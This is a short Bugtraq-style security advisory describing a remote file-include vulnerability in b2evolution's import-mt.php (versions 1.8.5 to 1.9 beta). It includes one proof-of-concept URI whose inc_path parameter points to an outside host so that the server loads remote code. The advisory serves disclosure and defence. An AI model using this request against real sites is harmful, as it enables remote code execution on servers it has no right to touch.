B2Evolution Import-MT.PHP Remote File Include Vulnerability

Bugtraq ID:	21332
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 28 2006 12:00AM
Updated:	Nov 29 2006 10:00PM
Credit:	tarkus is credited with the discovery of this vulnerability.
Vulnerable:	b2evolution b2evolution 1.8.5 b2evolution b2evolution 1.9 beta b2evolution b2evolution 1.9
Not Vulnerable:

B2Evolution Import-MT.PHP Remote File Include Vulnerability

The b2evolution application is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

This issue affects b2evolution 1.8.5 through 1.9 beta.

B2Evolution Import-MT.PHP Remote File Include Vulnerability

An attacker may exploit this issue using a web client.

The following proof-of-concept URI is available:

http://www.example.com/<b2epath>/inc/CONTROL/import/import-mt.php?basepath=foo&inc_path=https://www.example2.com/tarkus/PoC/

B2Evolution Import-MT.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

B2Evolution Import-MT.PHP Remote File Include Vulnerability

References:

• b2evolution Homepage (b2evolution)
  
• b2evolution Remote File inclusion Vulnerability ([email protected])